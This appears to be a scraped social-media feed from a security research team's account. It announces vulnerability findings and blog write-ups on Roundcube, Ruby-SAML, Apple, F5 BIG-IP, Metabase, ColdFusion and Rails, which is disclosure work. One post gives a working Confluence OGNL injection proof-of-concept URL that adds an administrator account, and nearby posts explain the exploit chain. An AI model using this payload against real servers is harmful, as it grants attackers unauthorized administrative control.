Managed by @rootxharsh @iamnoooob
- Tweets 52
- Following 73
- Followers 4,325
- Likes 37
CVE-2025-49113 is a fascinating PHP Object injection in Roundcube webmail, a really nice find by the original finder. #roundcube #cve-2025-49113 #rce
1
14
61
5,922
Checkout our new blogpost! In this post we talk about SAML and the recent Ruby-SAML Auth bypass.
CVE-2024-45409: Ruby-SAML Auth Bypass in GitLab
blog.projectdiscovery.io/rub…
3
147
545
40,196
Enjoy our next blog post this time an SQL Injection on Apple’s Infra. Another win nets us a $25,000 bounty! 💻💰 #AppleSecurity #Research #bugbountytips #bugbounty
blog.projectdiscovery.io/hac…
Check out our latest research blog, including detailed overview of how we discovered an SQL injection vulnerability (+ nuclei template) in Masa/Mura CMS and Hacked into Apple's Infrastructure.
blog.projectdiscovery.io/hac…
#AppleSecurity #Research #CyberSecuirty #BugBounty
33
181
16,832
Reproduced the CVE-2023-46747 F5 Big-IP RCE via AJP smuggling. Props to @praetorianlabs for identifying this cool bug. @pdnuclei template dropping soon. Time to sleep😴 #f5-rce #CVE-2023-46747
Reproduced the AJP request Smuggling to access /tmui/* resources directly. Very interesting bug indeed, need to further look into post-exploitation. Until next time😴
1
37
163
27,901
Reproduced the AJP request Smuggling to access /tmui/* resources directly. Very interesting bug indeed, need to further look into post-exploitation. Until next time😴
F5 BIGIP is vulnerable to a smuggling request vulnerability that an attacker can exploit to achieve unauthorized RCE. Our vulnerability research team responsibly disclose this to F5, which released a hotfix today. hubs.ly/Q026ThPw0 #vulnerabilityresearch #f5 #cve
10
78
39,537
The Metabase pre-auth RCE is interesting. While the entry point is straightforward, the process of exploitation is fun. We suspect we might have exploited this in an unintended way. We'll wait for @assetnote's blog, based on that we may or may not publish our analysis.
1
3
80
11,592
⚠ Multiple RCEs, CVEs, and Confusions. Discover the roller coaster ride of vulnerabilities, patch bypasses, and uncover the story behind the temporary take down of our blog! Read now - nux.gg/adobe-coldfusion-rce-…
#AdobeColdFusion #CVE-2023-29300 #CVE-2023-38203 #CVE-2023-38204
10
43
6,072
PoC - localhost/${%23this.getUserAccessor().addUser('httpvoid','pwn@1234','pwn@httpvoid.com','HttpVoid',%40com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}/ to add a new admin user.
3
68
191
Started by accessing `this` object, which got our hands on com.atlassian.confluence.core.actions.IndexAction object. There are not many methods to play with except that it extends ConfluenceActionSupport class.
1
16
We could either try to bypass isSafeExpression() which only works with the allowed whitelist and utilises AST parsing under the hood. Or/else we could target the allowed classes and potentially create a nasty gadget from there. We went with the latter.
1
22
Part of our request URI is essentially namespace in webwork(struts) which gets evalulated as OGNL expression in ActionChainResult->execute->translateVariables(this.namespace, ..). This leads to a blind unauth OGNL Injection.
2
1
23
New post - Ruby Deserialization - "Gadget" on Rails. In this blog post, we discuss finding a new RCE gadget in latest Rails (7) framework extending the work of @elttam @wcbowling. Ft. @iamnoooob @rootxharsh
httpvoid.com/?p=Ruby-deseria…
1
260
540
New Writeup - Circumventing Browser Security Mechanisms For SSRF. In this blog post we find our way around browser's mixed content policy to perform a SSRF against headless Chrome. Ft. @S1r1u5_ @iamnoooob @rootxharsh
httpvoid.com/?p=Circumventin…
3
125
362